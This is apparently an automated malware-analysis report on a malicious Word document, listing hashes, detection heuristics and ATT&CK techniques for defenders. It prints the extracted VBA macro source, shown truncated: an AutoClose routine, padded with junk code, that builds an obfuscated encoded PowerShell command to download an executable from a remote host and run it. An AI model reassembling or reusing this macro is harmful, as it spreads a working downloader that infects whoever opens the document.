Office (OLE) malware analysis — malicious · 28e9afdcd0f2797b

MALICIOUS

Office (OLE)

84.0 KB Created: 2018-04-19 18:59:00 Authoring application: Microsoft Office Word First seen: 2019-02-10

MD5: 5f3d34aca12056cbef02b051e68146ad SHA-1: d1e324a682e84863f7fb150d234b77565d43f82f SHA-256: 28e9afdcd0f2797bad432d7ff1299afbf85306c4585b0b292f68c2996bf0b8bc

242 Risk Score

Malware Insights

MITRE ATT&CK

T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains a VBA macro with an AutoClose event, which is a common technique for executing malicious code upon document closure. The macro constructs and executes a PowerShell command, likely to download and run a secondary payload. The presence of Shell() calls and the AutoClose execution token strongly indicate this malicious intent.

Heuristics 7

ClamAV: Doc.Malware.00536d-6735644-0 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Doc.Malware.00536d-6735644-0
VBA macros detected medium 3 related findings OLE_VBA_MACROS

Document contains VBA macro code
Shell() call in VBA critical OLE_VBA_SHELL

Shell() call in VBA
Auto_Close macro high OLE_VBA_AUTOCLOSE

Auto_Close macro
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC

Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC

OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
- http://schemas.openxmlformats.org/officeDocument/2006/bibliographyIn document text (OLE body)
- http://schemas.openxmlformats.org/officeDocument/2006/customXmlIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename Kind Source Size

macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 6619 bytes

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	6619 bytes
SHA-256: `53b6d5b5cf55b481b61c519e86342862265801f7a00f3c64dd44e60fd377617f`
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "ThisDocument" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Const wUZOXeWUgevpItEQOxOiajuvogEH = 0 Sub AutoClose() On Error Resume Next CoFeyxeefAFGEsAMYTISyKeFixYWA = "" + ChrW((12.5 * 8) - 1) + "Md." + Format(ChrW(50 * 2 + 1)) + "X" + Format(ChrW(50 * 2 + 1)) + " /" + ChrW((12.5 * 8) - 1) + " p^o^w^" + Format(ChrW(50 * 2 + 1)) + "^r^s^h^E^L^L^.^" + Format(ChrW(50 * 2 + 1)) + "^x^" + Format(ChrW(50 * 2 + 1)) + "^ ^-^" + Format(ChrW(50 * 2 + 1)) + "^" + ChrW((12.5 * 8) - 1) + "^ ^K^A^B^O^A^G^U^A^d^w^A^t^A^E^8^A^Y^g^B^q^A^G^U^A^Y^w^B^0^A^C^A^A^U^w^B^5^A^H^M^A^d^A^B^l^A^G^0^A^L^g^B^O^A^G^U^A^d^A^A^u^A^F^" + ChrW((12.5 * 8) - 1) + "^A^Z^Q^B^i^A^E^M^A^b^A^B^p^A^G^U^A^b^g^B^0^A^C^k^A^L^g^B^E^A^G^8^A^d^w^B^u^A^G^w^A^b^w^B^h^A^G^Q^A^R^g^B^p^A^G^w^A^Z^Q^A^o^A^C^I^A^a^A^B^0^A^H^Q^A^" + ChrW((12.5 * 8) - 1) + "^A^A^6^A^" Dim bUHiFeDOcoaoQOEWIzyNUGAZAWYzunEs Choose 10, "iEQuBUGolyHia", LTrim("bUHiFeDOcoaoQOEWIzyNUGAZAWYzunEs"), "iEQuBUGolyHiabUHiFeDOcoaoQOEWIzyNUGAZAWYzunEs" IsError CVErr(7327) Call IsNumeric(7327 - iEQuBUGolyHia) If LenB(iEQuBUGolyHia11) > CInt(Hex(7327)) Then StrComp "iEQuBUGolyHia", "iEQuBUGolyHia" & bUHiFeDOcoaoQOEWIzyNUGAZAWYzunEs End If Dim FAjDExyFYdiNasOgujYxyVOrecexiiIhVAbARYce Choose 2, "JeWoMyyCYtEgUKYMUWI", LTrim("FAjDExyFYdiNasOgujYxyVOrecexiiIhVAbARYce"), "JeWoMyyCYtEgUKYMUWIFAjDExyFYdiNasOgujYxyVOrecexiiIhVAbARYce" IsError CVErr(6233) Call IsNumeric(6233 - JeWoMyyCYtEgUKYMUWI) If LenB(JeWoMyyCYtEgUKYMUWI12) > CInt(Hex(6233)) Then StrComp "JeWoMyyCYtEgUKYMUWI", "JeWoMyyCYtEgUKYMUWI" & FAjDExyFYdiNasOgujYxyVOrecexiiIhVAbARYce End If XOqiremUDuqijivAdEPYvIDepewaStIpupO = "C^8^A^L^w^B^5^A^G^E^A^d^A^B^p^A^G^M^A^Y^Q^B^0^A^G^U^A^" + ChrW((12.5 * 8) - 1) + "^g^B^t^A^C^4^A^Y^w^B^v^A^G^0^A^L^w^B^U^A^F^k^A^S^g^A^v^A^H^" + ChrW((12.5 * 8) - 1) + "^A^d^w^B^u^A^G^8^A^" + Format(ChrW(50 * 2 + 1)) + "^A^A^u^A^H^A^A^a^A^B^w^A^D^8^A^b^A^A^9^A^G^o^A^d^Q^B^4^A^G^U^A^O^A^A^u^A^H^g^A^Y^Q^B^w^A^C^I^A^L^A^A^g^A^C^Q^A^Z^Q^B^u^A^H^Y^A^O^g^B^B^A^F^A^A^U^A^B^E^A^E^E^A^V^A^B^B^A^C^A^A^K^w^A^g^A^C^" + ChrW((12.5 * 8) - 1) + "^A^X^A^A" Dim zYivYdUQaNYRevWwIYLUmISuhEdYHypUzUBoba Choose 5, "xUbeigafIdY", LTrim("zYivYdUQaNYRevWwIYLUmISuhEdYHypUzUBoba"), "xUbeigafIdYzYivYdUQaNYRevWwIYLUmISuhEdYHypUzUBoba" IsError CVErr(2842) Call IsNumeric(2842 - xUbeigafIdY) If LenB(xUbeigafIdY11) > CInt(Hex(2842)) Then StrComp "xUbeigafIdY", "xUbeigafIdY" & zYivYdUQaNYRevWwIYLUmISuhEdYHypUzUBoba End If carUwYFYduVEQIlAfeNsETOlaaERyraKiL = "^3^A^D^I^A^N^w^B^l^A^D^M^A^N^Q^A^3^A^D^E^A^L^g^B^l^A^H^g^A^Z^Q^A^n^A^C^k^A^O^w^A^g^A^F^M^A^d^A^B^h^A^H^I^A^d^A^A^t^A^F^A^A^" + ChrW((12.5 * 8) - 1) + "^g^B^v^A^G^M^A^Z^Q^B^z^A^H^M^A^I^A^A^k^A^G^U^A^b^g^B^2^A^D^o^A^Q^Q^B^Q^A^F^A^A^R^A^B^B^A^F^Q^A^Q^Q^A^n^A^F^w^A^N^w^A^y^A^D^" + ChrW((12.5 * 8) - 1) + "^A^Z^Q^A^z^A^D^U^A^N^w^A^x^A^C^4^A^Z^Q^B^4^A^G^U^A^J^w^A^7^A^C^A^A^R^Q^B^4^A^G^k^A^" Dim NEruhYhGOcObYFOSUxaVALCuqea Choose 7, "QyhOnabyCeiEnyrorIfId", LTrim("NEruhYhGOcObYFOSUxaVALCuqea"), "QyhOnabyCeiEnyrorIfIdNEruhYhGOcObYFOSUxaVALCuqea" IsError CVErr(3232) Call IsNumeric(3232 - QyhOnabyCeiEnyrorIfId) If LenB(QyhOnabyCeiEnyrorIfId13) > CInt(Hex(3232)) Then StrComp "QyhOnabyCeiEnyrorIfId", "QyhOnabyCeiEnyrorIfId" & NEruhYhGOcObYFOSUxaVALCuqea End If Dim sUnUnOfYXuRAdyCyLuQiSYSYvygyMA Choose 5, "mEReioGEFaFoFuQyPyt", LTrim("sUnUnOfYXuRAdyCyLuQiSYSYvygyMA"), "mEReioGEFaFoFuQyPytsUnUnOfYXuRAdyCyLuQiSYSYvygyMA" IsError CVErr(3528) Call IsNumeric(3528 - mEReioGEFaFoFuQyPyt) If LenB(mEReioGEFaFoFuQyPyt13) > CInt(Hex(3528)) Then StrComp "mEReioGEFaFoFuQyPyt", "mEReioGEFaFoFuQyPyt" & sUnUnOfYXuRAdyCyLuQiSYSYvygyMA End If CImiMUZoKaBEkAiXugUJoCybafyKYSomoRdYL = "d^A^A^=" Call qIvysIjatIPaDolUViloDYRAr(CoFeyxeefAFGEsAMYTISyKeFixYWA & "", XOqiremUDuqijivAdEPYvIDepewaStIpupO + CStr(""), carUwYFYduVEQIlAfeNsE ... (truncated)

SHA-256: 53b6d5b5cf55b481b61c519e86342862265801f7a00f3c64dd44e60fd377617f

Preview script

First 1,000 lines of the extracted script

Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Const wUZOXeWUgevpItEQOxOiajuvogEH = 0
Sub AutoClose()
On Error Resume Next
CoFeyxeefAFGEsAMYTISyKeFixYWA = "" + ChrW((12.5 * 8) - 1) + "Md." + Format(ChrW(50 * 2 + 1)) + "X" + Format(ChrW(50 * 2 + 1)) + " /" + ChrW((12.5 * 8) - 1) + " p^o^w^" + Format(ChrW(50 * 2 + 1)) + "^r^s^h^E^L^L^.^" + Format(ChrW(50 * 2 + 1)) + "^x^" + Format(ChrW(50 * 2 + 1)) + "^ ^-^" + Format(ChrW(50 * 2 + 1)) + "^" + ChrW((12.5 * 8) - 1) + "^ ^K^A^B^O^A^G^U^A^d^w^A^t^A^E^8^A^Y^g^B^q^A^G^U^A^Y^w^B^0^A^C^A^A^U^w^B^5^A^H^M^A^d^A^B^l^A^G^0^A^L^g^B^O^A^G^U^A^d^A^A^u^A^F^" + ChrW((12.5 * 8) - 1) + "^A^Z^Q^B^i^A^E^M^A^b^A^B^p^A^G^U^A^b^g^B^0^A^C^k^A^L^g^B^E^A^G^8^A^d^w^B^u^A^G^w^A^b^w^B^h^A^G^Q^A^R^g^B^p^A^G^w^A^Z^Q^A^o^A^C^I^A^a^A^B^0^A^H^Q^A^" + ChrW((12.5 * 8) - 1) + "^A^A^6^A^"

Dim bUHiFeDOcoaoQOEWIzyNUGAZAWYzunEs


Choose 10, "iEQuBUGolyHia", LTrim("bUHiFeDOcoaoQOEWIzyNUGAZAWYzunEs"), "iEQuBUGolyHiabUHiFeDOcoaoQOEWIzyNUGAZAWYzunEs"
IsError CVErr(7327)
Call IsNumeric(7327 - iEQuBUGolyHia)

If LenB(iEQuBUGolyHia11) > CInt(Hex(7327)) Then
   StrComp "iEQuBUGolyHia", "iEQuBUGolyHia" & bUHiFeDOcoaoQOEWIzyNUGAZAWYzunEs
End If
Dim FAjDExyFYdiNasOgujYxyVOrecexiiIhVAbARYce


Choose 2, "JeWoMyyCYtEgUKYMUWI", LTrim("FAjDExyFYdiNasOgujYxyVOrecexiiIhVAbARYce"), "JeWoMyyCYtEgUKYMUWIFAjDExyFYdiNasOgujYxyVOrecexiiIhVAbARYce"
IsError CVErr(6233)
Call IsNumeric(6233 - JeWoMyyCYtEgUKYMUWI)

If LenB(JeWoMyyCYtEgUKYMUWI12) > CInt(Hex(6233)) Then
   StrComp "JeWoMyyCYtEgUKYMUWI", "JeWoMyyCYtEgUKYMUWI" & FAjDExyFYdiNasOgujYxyVOrecexiiIhVAbARYce
End If
XOqiremUDuqijivAdEPYvIDepewaStIpupO = "C^8^A^L^w^B^5^A^G^E^A^d^A^B^p^A^G^M^A^Y^Q^B^0^A^G^U^A^" + ChrW((12.5 * 8) - 1) + "^g^B^t^A^C^4^A^Y^w^B^v^A^G^0^A^L^w^B^U^A^F^k^A^S^g^A^v^A^H^" + ChrW((12.5 * 8) - 1) + "^A^d^w^B^u^A^G^8^A^" + Format(ChrW(50 * 2 + 1)) + "^A^A^u^A^H^A^A^a^A^B^w^A^D^8^A^b^A^A^9^A^G^o^A^d^Q^B^4^A^G^U^A^O^A^A^u^A^H^g^A^Y^Q^B^w^A^C^I^A^L^A^A^g^A^C^Q^A^Z^Q^B^u^A^H^Y^A^O^g^B^B^A^F^A^A^U^A^B^E^A^E^E^A^V^A^B^B^A^C^A^A^K^w^A^g^A^C^" + ChrW((12.5 * 8) - 1) + "^A^X^A^A"

Dim zYivYdUQaNYRevWwIYLUmISuhEdYHypUzUBoba


Choose 5, "xUbeigafIdY", LTrim("zYivYdUQaNYRevWwIYLUmISuhEdYHypUzUBoba"), "xUbeigafIdYzYivYdUQaNYRevWwIYLUmISuhEdYHypUzUBoba"
IsError CVErr(2842)
Call IsNumeric(2842 - xUbeigafIdY)

If LenB(xUbeigafIdY11) > CInt(Hex(2842)) Then
   StrComp "xUbeigafIdY", "xUbeigafIdY" & zYivYdUQaNYRevWwIYLUmISuhEdYHypUzUBoba
End If

carUwYFYduVEQIlAfeNsETOlaaERyraKiL = "^3^A^D^I^A^N^w^B^l^A^D^M^A^N^Q^A^3^A^D^E^A^L^g^B^l^A^H^g^A^Z^Q^A^n^A^C^k^A^O^w^A^g^A^F^M^A^d^A^B^h^A^H^I^A^d^A^A^t^A^F^A^A^" + ChrW((12.5 * 8) - 1) + "^g^B^v^A^G^M^A^Z^Q^B^z^A^H^M^A^I^A^A^k^A^G^U^A^b^g^B^2^A^D^o^A^Q^Q^B^Q^A^F^A^A^R^A^B^B^A^F^Q^A^Q^Q^A^n^A^F^w^A^N^w^A^y^A^D^" + ChrW((12.5 * 8) - 1) + "^A^Z^Q^A^z^A^D^U^A^N^w^A^x^A^C^4^A^Z^Q^B^4^A^G^U^A^J^w^A^7^A^C^A^A^R^Q^B^4^A^G^k^A^"
Dim NEruhYhGOcObYFOSUxaVALCuqea


Choose 7, "QyhOnabyCeiEnyrorIfId", LTrim("NEruhYhGOcObYFOSUxaVALCuqea"), "QyhOnabyCeiEnyrorIfIdNEruhYhGOcObYFOSUxaVALCuqea"
IsError CVErr(3232)
Call IsNumeric(3232 - QyhOnabyCeiEnyrorIfId)

If LenB(QyhOnabyCeiEnyrorIfId13) > CInt(Hex(3232)) Then
   StrComp "QyhOnabyCeiEnyrorIfId", "QyhOnabyCeiEnyrorIfId" & NEruhYhGOcObYFOSUxaVALCuqea
End If
Dim sUnUnOfYXuRAdyCyLuQiSYSYvygyMA


Choose 5, "mEReioGEFaFoFuQyPyt", LTrim("sUnUnOfYXuRAdyCyLuQiSYSYvygyMA"), "mEReioGEFaFoFuQyPytsUnUnOfYXuRAdyCyLuQiSYSYvygyMA"
IsError CVErr(3528)
Call IsNumeric(3528 - mEReioGEFaFoFuQyPyt)

If LenB(mEReioGEFaFoFuQyPyt13) > CInt(Hex(3528)) Then
   StrComp "mEReioGEFaFoFuQyPyt", "mEReioGEFaFoFuQyPyt" & sUnUnOfYXuRAdyCyLuQiSYSYvygyMA
End If


CImiMUZoKaBEkAiXugUJoCybafyKYSomoRdYL = "d^A^A^="


Call qIvysIjatIPaDolUViloDYRAr(CoFeyxeefAFGEsAMYTISyKeFixYWA & "", XOqiremUDuqijivAdEPYvIDepewaStIpupO + CStr(""), carUwYFYduVEQIlAfeNsE
... (truncated)

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